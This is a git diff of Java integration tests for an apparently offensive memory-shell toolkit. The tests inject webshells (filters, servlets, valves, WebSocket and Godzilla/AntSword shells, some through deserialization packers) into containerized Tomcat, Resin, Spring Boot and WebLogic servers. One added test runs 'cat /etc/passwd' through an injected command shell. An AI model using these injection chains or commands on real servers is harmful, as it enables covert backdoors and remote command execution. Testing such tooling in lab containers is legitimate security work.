b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java index 55ade55e..e3d508b0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java index 77b3e449..e74501d4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -79,4 +81,12 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java index e749ca56..a4987896 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -101,4 +103,12 @@ static Stream tomcatCasesProvider() { void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index aa40d279..9e16b0b6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -9,10 +9,10 @@ import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -93,7 +93,7 @@ static Stream tomcatCasesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.Base64, Packers.H2); + List testPackers = List.of(Packers.H2); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } @@ -102,4 +102,13 @@ static Stream tomcatCasesProvider() { void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } + + + @ParameterizedTest + @ValueSource(strings = {ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index 29a7310d..dffdfa2d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,10 +55,12 @@ static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, ShellType.JAKARTA_WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); @@ -76,4 +80,16 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V11); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index f4244b9b..1d38f64f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,10 +56,12 @@ static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, ShellType.JAKARTA_WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); @@ -77,4 +81,16 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index b71d0860..9f1883f7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -55,6 +57,7 @@ static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, @@ -78,4 +81,16 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, + ShellType.JAKARTA_WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index 058859c5..a4a4257c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,6 +55,7 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, @@ -76,4 +79,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 33224731..86dba01e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -52,6 +54,7 @@ static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, + ShellType.SERVLET, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, @@ -74,4 +77,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index 935b980a..65816cfa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -52,6 +54,7 @@ static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, + ShellType.SERVLET, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, @@ -75,4 +78,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java index 942b5077..1eade007 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -8,26 +8,34 @@ import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.HttpUrl; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import org.apache.commons.lang3.RandomStringUtils; +import org.apache.commons.lang3.tuple.Pair; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.apache.commons.lang3.RandomStringUtils; -import org.apache.commons.lang3.tuple.Pair; import java.util.Base64; +import java.util.Objects; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -55,6 +63,44 @@ static Stream casesProvider() { ); } + @ParameterizedTest + @SneakyThrows + @ValueSource(strings = { + "/bin/bash -c \"{command}\" 2>&1", + "sh -c \"{command}\" 2>&1", + "{command}" + }) + void testTemplate(String template) { + String url = getUrl(container); + String shellTool = ShellTool.Command; + String shellType = ShellType.FILTER; + Packers packer = Packers.BigInteger; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); + ShellToolConfig shellToolConfig = CommandConfig.builder() + .paramName(uniqueName) + .template(template) + .build(); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, null, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); + OkHttpClient okHttpClient = new OkHttpClient(); + HttpUrl httpUrl = Objects.requireNonNull(HttpUrl.parse(shellUrl)) + .newBuilder() + .addQueryParameter(uniqueName, "cat /etc/passwd") + .build(); + Request request = new Request.Builder() + .url(httpUrl) + .get().build(); + + try (Response response = okHttpClient.newCall(request).execute()) { + String res = response.body().string(); + System.out.println(res.trim()); + assertTrue(res.contains("root:x:0:0:root:/root:/bin/bash")); + } + } + @AfterAll static void tearDown() { String logs = container.getLogs(); @@ -83,10 +129,6 @@ void test(String imageName, String shellType, String shellTool, Packers packer) ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes())); - if (shellType.endsWith(ShellType.WEBSOCKET)) { - ShellAssertion.webSocketCommandIsOk(shellUrl, payload); - } else { - ShellAssertion.commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload); - } + ShellAssertion.commandIsOk(shellUrl, shellType, uniqueName, payload); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index df94ab87..9ba38c00 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -59,6 +61,7 @@ static Stream casesProvider() { ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List testPackers = List.of(Packers.BigInteger, Packers.AgentJarWithJREAttacher); @@ -77,4 +80,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_8); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index 319ecc0d..e4230c21 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -54,6 +54,7 @@ static Stream casesProvider() { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.GroovyTransformJar), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index 49673895..4b08bd85 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -52,14 +54,16 @@ static Stream casesProvider() { String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, + ShellType.SERVLET, ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.AgentJarWithJREAttacher); + List testPackers = List.of(Packers.JSP, Packers.ScriptEngine, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @@ -75,4 +79,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, + ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V9); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java index 88e8447a..87fd1f9d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -77,4 +79,13 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java index 33b8f21a..ebb007fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { 